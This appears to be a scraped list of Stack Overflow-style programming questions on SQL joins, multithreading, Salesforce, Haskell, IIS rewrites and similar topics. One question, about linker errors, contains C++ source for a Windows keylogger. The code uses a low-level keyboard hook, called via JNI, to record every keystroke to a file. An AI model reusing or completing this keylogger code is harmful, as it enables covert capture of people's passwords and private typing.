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  • In SQL / MySQL, what is the difference between "On" and "Where" in a join statement?

    - by Jian Lin
    The following statements give the same result (one is using "on", and the other using "where"): mysql> select * from gifts INNER JOIN sentGifts on gifts.giftID = sentGifts.giftID; mysql> select * from gifts INNER JOIN sentGifts where gifts.giftID = sentGifts.giftID; I can only see in a case of a Left Outer Join finding the "unmatched" cases: (to find out the gifts that were never sent by anybody) mysql> select name from gifts LEFT OUTER JOIN sentgifts on gifts.giftID = sentgifts.giftID where sentgifts.giftID IS NULL; In this case, it is first using "on", and then "where". Does the "on" first do the matching, and then "where" does the "secondary" filtering? Or is there a more general rule of using "on" versus "where"? Thanks.

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  • Is multithreading the right way to go for my case?

    - by Julien Lebosquain
    Hello, I'm currently designing a multi-client / server application. I'm using plain good old sockets because WCF or similar technology is not what I need. Let me explain: it isn't the classical case of a client simply calling a service; all clients can 'interact' with each other by sending a packet to the server, which will then do some action, and possible re-dispatch an answer message to one or more clients. Although doable with WCF, the application will get pretty complex with hundreds of different messages. For each connected client, I'm of course using asynchronous methods to send and receive bytes. I've got the messages fully working, everything's fine. Except that for each line of code I'm writing, my head just burns because of multithreading issues. Since there could be around 200 clients connected at the same time, I chose to go the fully multithreaded way: each received message on a socket is immediately processed on the thread pool thread it was received, not on a single consumer thread. Since each client can interact with other clients, and indirectly with shared objects on the server, I must protect almost every object that is mutable. I first went with a ReaderWriterLockSlim for each resource that must be protected, but quickly noticed that there are more writes overall than reads in the server application, and switched to the well-known Monitor to simplify the code. So far, so good. Each resource is protected, I have helper classes that I must use to get a lock and its protected resource, so I can't use an object without getting a lock. Moreover, each client has its own lock that is entered as soon as a packet is received from its socket. It's done to prevent other clients from making changes to the state of this client while it has some messages being processed, which is something that will happen frequently. Now, I don't just need to protect resources from concurrent accesses. I must keep every client in sync with the server for some collections I have. One tricky part that I'm currently struggling with is the following: I have a collection of clients. Each client has its own unique ID. When a client connects, it must receive the IDs of every connected client, and each one of them must be notified of the newcomer's ID. When a client disconnects, every other client must know it so that its ID is no longer valid for them. Every client must always have, at a given time, the same clients collection as the server so that I can assume that everybody knows everybody. This way if I'm sending a message to client #1 telling "Client #2 has done something", I know that it will always be correctly interpreted: Client 1 will never wonder "but who is Client 2 anyway?". My first attempt for handling the connection of a new client (let's call it X) was this pseudo-code (remember that newClient is already locked here): lock (clients) { foreach (var client in clients) { lock (client) { client.Send("newClient with id X has connected"); } } clients.Add(newClient); newClient.Send("the list of other clients"); } Now imagine that in the same time, another client has sent a packet that translates into a message that must be broadcasted to every connected client, the pseudo-code will be something like this (remember that the current client - let's call it Y - is already locked here): lock (clients) { foreach (var client in clients) { lock (client) { client.Send("something"); } } } An obvious deadlock occurs here: on one thread X is locked, the clients lock has been entered, started looping through the clients, and at one moment must get Y's lock... which is already acquired on the second thread, itself waiting for the clients collection lock to be released! This is not the only case like this in the server application. There are other collections which must be kept in sync with the clients, some properties on a client can be changed by another one, etc. I tried other types of locks, lock-free mechanisms and a bunch of other things. Either there were obvious deadlocks when I'm using too much locks for safety, or obvious race conditions otherwise. When I finally find a good middle point between the two, it usually comes with very subtle race conditions / dead locks and other multi-threading issues... my head hurts very quickly since for any single line of code I'm writing I have to review almost the whole application to ensure everything will behave correctly with any number of threads. So here's my final question: how would you resolve this specific case, the general case, and more importantly: aren't I going the wrong way here? I have little problems with the .NET framework, C#, simple concurrency or algorithms in general. Still, I'm lost here. I know I could use only one thread processing the incoming requests and everything will be fine. However, that won't scale well at all with more clients... But I'm thinking more and more to go this simple way. What do you think? Thanks in advance to you, StackOverflow people which have taken the time to read this huge question. I really had to explain the whole context if I want to get some help.

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  • How can my application submit salesforce case with custom fields?

    - by Aaron
    I have an application that submits bugs for multiple customers to multiple destinations. I would like this application to include salesforce as a destination. I have web reference to the Enterprise WSDL and I am able to create cases for salesforce. This works great until I want to include user defined custom fields as part of the case. The custom fields are strongly typed with a __c prefix for my instance of salseforce. But I will not have the liberty of updating my web service with my customers instance of salesforce. How can I submit a salesforce case with custom fields that are not defined in the WSDL? Should I not be using the Enterprise WSDL?

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  • How to bind data in silverlight? In case I don't know which columns would be retrieved from database

    - by kwon
    I am trying to bind data from database to datagrid in silverlight. When I get typed data from DB, it is no problem since I use List<'EntityObject' collection object for example. However, sometimes I need data which I won't be able to know how many and what columns will be generated in design time. In this case, I cannot use typed collection like List<'EntityObject'. In addition, it is not able to use DataSet in silverlight. So, in this case and situation, how to solve this kind of problem? Thanks in advance Kwon

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  • Which parallel sorting algorithm has the best average case performance?

    - by Craig P. Motlin
    Sorting takes O(n log n) in the serial case. If we have O(n) processors we would hope for a linear speedup. O(log n) parallel algorithms exist but they have a very high constant. They also aren't applicable on commodity hardware which doesn't have anywhere near O(n) processors. With p processors, reasonable algorithms should take O(n/p log n/p) time. In the serial case, quick sort has the best runtime complexity on average. A parallel quick sort algorithm is easy to implement (see here and here). However it doesn't perform well since the very first step is to partition the whole collection on a single core. I have found information on many parallel sort algorithms but so far I have not seen anything pointing to a clear winner. I'm looking to sort lists of 1 million to 100 million elements in a JVM language running on 8 to 32 cores.

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  • Why I am forced to write the (Data Constructor) name with first letter in small case?

    - by Optimight
    Why I am forced to write "liOfLi" in place of "LiOfLi"? Please guide. code in baby.hs LiOfLi = [ [1,3,4,5,6,8], [ 12, 13, 15, 16, 19, 20], [23, 24, 25, 45, 56] ] ghci response: ghci :l baby [1 of 1] Compiling Main ( baby.hs, interpreted ) Failed, modules loaded: none. ghci baby.hs:29:1: Not in scope: data constructor `LiOfLi' When changing the initial letter to smaller case code in baby.hs liOfLi = [ [1,3,4,5,6,8], [ 12, 13, 15, 16, 19, 20], [23, 24, 25, 45, 56] ] ghci response: ghci :l baby [1 of 1] Compiling Main ( baby.hs, interpreted ) Ok, modules loaded: Main. Following are the SO questions I refered but I failed to understand the rules/ logic and get the answer for (my) abovementioned question. Why does Haskell force data constructor's first letter to be upper case? the variable names need to be lowercase. The official documentation related to this is at haskell.org/onlinereport/intro.html#namespaces – (the SO comment by) Chris Kuklewicz

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  • How to overcome case sensitive problem with contains method.??

    - by Srikanth
    Is there any solution to overcome case-sensitive problem for contains method. I have code like below string str = m_name; return avobj.Viewname.Contains(str); Eg: Welcome Here welcome here Both are same names but case is different. If I give 'W' in search box it is returning only 1st one. but I need both names display. I am storing the names in collection. And resultant values ( searched values ) are storing in List.

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  • IIS7.5 Outbound Rule for lower case URLs in <a href="...">

    - by Quog
    Hi, I know how to canonicalise the case of URLs on incoming request to IIS7.5, in fact, there's a built in rule template to start from. But how about outbound (without changing the code)? This is where I got to so far: <outboundRules> <rule name="Outbound lowercase" preCondition="IsHTML" enabled="true"> <match filterByTags="A" pattern="[A-Z]" ignoreCase="false" /> <action type="Rewrite" value="{ToLower:{R:0}}" /> </rule> <preConditions> <preCondition name="IsHTML"> <add input="{RESPONSE_CONTENT_TYPE}" pattern="^text/html" /> </preCondition> </preConditions> </outboundRules> However, IIS barfs on the action with a 500 implying an invalid web.config, probably on the {ToLower:XXXX} which I stole from the MS-supplied inbound rule template. Anyone know how to do this? Anyone know where the options are fully documented (my GoogleNinja skills failed me: I found this but "Specifies value syntax for the rule. This element is available only for the Rewrite action type" is not really comprehensive). Thanks, Damian

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  • A possible case of hacked email account. What kind of an attack is this?

    - by Rickesh John
    I own a Yahoo mail account. I am using this account for sending resumes and receive notifications from various job portals. But yesterday, I found that some 10-15 mails had been sent to random addresses from my account. Most of them had this format: hr@<companyname>.com I am pretty sure that I didn't send any mails to such addresses. Initially, I thought the job portals may be sending mails on my behalf and Yahoo is logging them, but then I saw the contents. The contents of all those mails were a URL, which I did not click. SCARED. Also, to top it off, my "Sending Name" has been changed to 'Nice Maria'!! o_0 I have taken the necessary measures and changed my password and the secret question. I cannot delete this account as this email is registered with all the job portals and other companies. Is this a simple case of my account being compromised or was I a victim of some web vulnerability? All the mails seem to be bot generated, with only a URL as the message body. Please advice.

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  • EMERGENCY! Update Statement for critical mysql production database now running for 18 hours, need help.

    - by Tim
    We have a table with 500 million rows. Unfortunately, one of the columns was int(11), which is a signed int, and it was an incrementing value that just rolled over the 2.1 billion magic number. This immediately caused downtime for about 10.000 users. We discussed many solutions, and decided that we could just roll back this value safely, by say, a billion. But we had to roll it back for every row. Here is what we did: update Table1 Set MessageId = case when MessageId < 1073741824 then 0 else MessageId - 1073741824 end; I tested this on a table with 10 million rows and it took 11 minutes. So I assumed the larger table would take 550 minutes, or 9 hours. This was going to be our biggest downtime in 3 years. (We're a startup). It's now going on 18 hours. What should we do? Please don't say what we should have done. I think we should have updated a few million rows at a time. Is there a way we can see progress? Could Mysql have hung? Using mysql 5.0.22. Thanks!

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  • Calling fuctions of header file

    - by navinbecse
    i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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  • How to know the exact statement fired in Data app block?

    - by AJ
    Hi We are using "Enterprise Library Data Access Application Block" to access SQL Server database. In DataAccess layer, we are calling application block's API. Internally it must be resolving the command and parameters into SQL statement. How can I know what SQL query goes to database? Thanks AJ

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  • How to rewrite this SQL statement to LINQ 2 SQL ?

    - by Shyju
    How can i convert this SQL query to its equivalent LINQ 2 SQL statement for VB.NET? SELECT COUNT(*) AS 'Qty', IV200.itemnmbr, IV200.locncode, IV200.bin, CAST(IV112.Quantity as int) as 'Qty2' , 'parentBIN' = isnull(MDS.parentBIN,iv112.bin) From IV00200 IV200 (nolock) inner join IV00112 IV112 (nolock) on iv200.itemnmbr = iv112.itemnmbr and IV200.bin = IV112.bin and iv200.locncode = iv112.locncode left outer join mds_container mds (nolock) on isnull(mds.locncode,'nul') = isnull(iv112.locncode,'nul') and isnull(mds.containerbin,'nul') = isnull(iv112.bin,'nul') where IV200.bin = 'MU7I336A80' group by IV200.itemnmbr, IV200.locncode, IV200.bin, IV112.Quantity, isnull(MDS.parentBIN,iv112.bin) order by IV200.itemnmbr

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  • How to use OUTPUT statement inside a SQL trigger?

    - by Jeff Meatball Yang
    From MSDN: If a statement that includes an OUTPUT clause is used inside the body of a trigger, table aliases must be used to reference the trigger inserted and deleted tables to avoid duplicating column references with the INSERTED and DELETED tables associated with OUTPUT. Can someone give me an example of this? I'm not sure if this is correct: create trigger MyInterestingTrigger on TransactionalTable123 AFTER insert, update, delete AS declare @batchId table(batchId int) insert SomeBatch (batchDate, employeeId) output SomeBatch.INSERTED.batchId into @batchId insert HistoryTable select b.batchId, i.col1, i.col2, i.col3 from TransactionalTable123.inserted i cross join @batchId b

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  • How to get the result for return statement from JSON parsing?

    - by blankon91
    I've follow the code for parsing the value with JSON from here, but I get the problem in my return statement. I want to put the parsing result into my return statement. How to do that? Here is my code: public String MASUK(String user, String password) { SoapObject request = new SoapObject(WSDL_TARGET_NAMESPACE,OPERATION_NAME); PropertyInfo pi = new PropertyInfo(); pi.setName("ccduser"); pi.setValue(user); pi.setType(String.class); request.addProperty(pi); PropertyInfo pi2 = new PropertyInfo(); pi2.setName("password"); pi2.setValue(password); pi2.setType(String.class); request.addProperty(pi2); SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11); envelope.dotNet = true; envelope.setOutputSoapObject(request); HttpTransportSE httpTransport = new HttpTransportSE(SOAP_ADDRESS); try { httpTransport.call(SOAP_ACTION, envelope); SoapObject resultSOAP = (SoapObject) envelope.bodyIn; /* gets our result in JSON String */ String ResultObject = resultSOAP.getProperty(0).toString(); resultSOAP = (SoapObject) envelope.bodyIn; ResultObject = resultSOAP.getProperty(0).toString(); if (ResultObject.startsWith("{")) { // if JSON string is an object JSONObj = new JSONObject(ResultObject); Iterator<String> itr = JSONObj.keys(); while (itr.hasNext()) { String Key = (String) itr.next(); String Value = JSONObj.getString(Key); BundleResult.putString(Key, Value); // System.out.println(bundleResult.getString(Key)); } } else if (ResultObject.startsWith("[")) { // if JSON string is an array JSONArr = new JSONArray(ResultObject); System.out.println("length" + JSONArr.length()); for (int i = 0; i < JSONArr.length(); i++) { JSONObj = (JSONObject) JSONArr.get(i); BundleResult.putString(String.valueOf(i), JSONObj.toString()); // System.out.println(bundleResult.getString(i)); } } } catch (Exception exception) { } return null; }

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  • MySQL, SQL Select Statement, Where with OR... What's wrong with this?

    - by nobosh
    I'm looking for help with my query below. which is never returning anything for veggie... Is the way I have my WHERE statement written valid? SELECT * FROM newsfeed INNER JOIN newsfeedaction ON newsfeed.newsfeedactionid = newsfeedaction.newsFeedActionID INNER JOIN person ON newsfeed.personID = person.personID LEFT OUTER JOIN food ON newsfeed.foodID = food.foodID LEFT OUTER JOIN veggie ON newsfeed.veggieID = veggie.veggieID WHERE ( newsfeed.veggieID IS NOT NULL AND veggie.deleted = 'N' ) OR ( newsfeed.foodID IS NOT NULL AND food.deleted = 'N')

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  • How do I convert this Crystal Report IF statement for use in a WHERE clause in Reporting Services?

    - by Spacehamster
    I'm trying to translate this Crystal Reports IF Statement for use in a WHERE clause - {@receipt_datetime_daylight} in {?DateRange} and (if {?Call Sign} = "All Call Signs" Then {cacs_incident_task.resource_or_class_id} = {cacs_incident_task.resource_or_class_id} Else If {?Call Sign} = "All Sierra Call Signs" Then {cacs_incident_task.resource_or_class_id} in ["S10", "S11", "S12"] Else If {?Call Sign} = "All Whiskey Call Signs" Then {cacs_incident_task.resource_or_class_id} in ["W01", "W02", "W03"] Else {cacs_incident_task.resource_or_class_id} = {?Call Sign}) and (if {?OffenceType} = "All Offences" Then {cacs_inc_type.description} = {cacs_inc_type.description} else {cacs_inc_type.description} = {?OffenceType}) CASE statements don't work in Reporting Services, so I need to find a why of translating this into a WHERE clause. Does anyone know a way?

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